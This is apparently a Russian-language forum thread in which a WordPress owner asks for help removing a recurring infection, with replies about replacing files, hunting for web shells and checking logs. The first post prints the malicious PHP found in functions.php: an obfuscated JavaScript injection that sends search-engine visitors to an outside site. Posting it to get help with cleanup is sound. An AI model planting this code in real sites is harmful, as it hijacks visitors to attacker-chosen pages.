Помогите избавиться от вируса на wordpress

adnim · 2012-02-09T18:21:18.0000000Z

Помогите пожалуйста, удалить вирус JS:Redirection-MR Trojan (антивирус выдал) прописывается в файле functions.php (движок Wordpress) вот код: <?php add_action('get_footer', 'add_sscounter'); function add_sscounter(){ echo ''; if(function_exists('is_user_logged_in')){ if(time()%2 == 0 && !is_user_logged_in()){ echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>"; } } } ?> Удалил вчера и выставил права только чтение на файл functions.php, но не помогло, сегодня он опять туда прописался :madd:. Где его найти и удалить??

78

WebGomel

27 марта 2012, 02:14

#21

tos-ka:
Подсказали бы конкретней

а куда уж конкретней? Вам дали ссылку на последнюю версию.

Взять и заменить. 😂

Удалённый системный администратор ( https://remadmin.com )

TK

9

tos-ka

27 марта 2012, 02:49

#22

спасибо за помощь :)

TK

9

tos-ka

5 апреля 2012, 01:00

#23

И снова здравствуйте. Вообщем проблема повторилась (( Видимо проблема все таки в залитом шелле. Подскажите способы его поиска?

78

WebGomel

5 апреля 2012, 01:29

#24

tos-ka:
Подскажите способы его поиска?

Всё очень просто - взять и найти :) как вариант - выкачать все ваши сайты на компьютер и проверить антивирусом. Нормальные антивирусы процентов 60 шеллов находят, но не все.

Есть ещё вариант - заплатить. Сразу отпадает надобность что-то искать, и каждую неделю на Серче писать, что опять тоже самое😂

Новый сервис для определения Яндекс.DNS научился бороться с Яндекс.DNS бесплатный сервис для

TK

9

tos-ka

5 апреля 2012, 01:52

#25

я полностью не уверен, что шел вообще есть, антивирусы ни чего не находят. Может все таки дыра в каком либо плагине.

78

WebGomel

5 апреля 2012, 02:51

#26

tos-ka, вы меня поражаете. С такими вопросами вам наверно лучше сюда обращаться. Скажите, откуда мы, обычные люди, не обладающие сверхъестественными способностями можем знать где у вас в каком либо плагине или ещё в каком либо месте дыра?

Вся информация от вас - это то, что у вас вордпресс, рядом стоит джумла, вы ничего не можете найти, и каждую неделю чудесным образом у вас дописывают код в файлы. Как не имея физического доступа можно что-то конкретное вам ответить?

Хотите реальной бесплатной помощи - давайте логи на момент модификации файла. Нету логов - просите хостера их вам предоставить, только время точное назовите, вы же его запомнили?

Партнерская программа от видеохостинга Как повлиять на скорость Особенности национальной интернет-статистики

TK

9

tos-ka

5 апреля 2012, 03:21

#27

Чувак не воспринимай, что я тебя достаю. Кроме тебя на форуме еще люди есть, если что помогут, а нет просто проигнорят. Типа намек ясен? Если поражаю посиди помедитируй.

Если бы мне нужна была платная помощь, отписал бы в другой ветке.

Не каждую неделю, а повторилось только 2 раз.

Логи смотрел, ничего подозрительного не нашел.

Мне не нужно, чтобы кто-то сделал за меня, нужны общие принципы решения такой проблемы. Авось у кого-то была и он ее решил.

«Яндекс» ударил по дорвеям Комп в качестве IPTV-сервера Качественные PSD макеты за

Open AI тестирует память для ChatGPT

Маркетинг для шоколадной фабрики. На 34% выше средний чек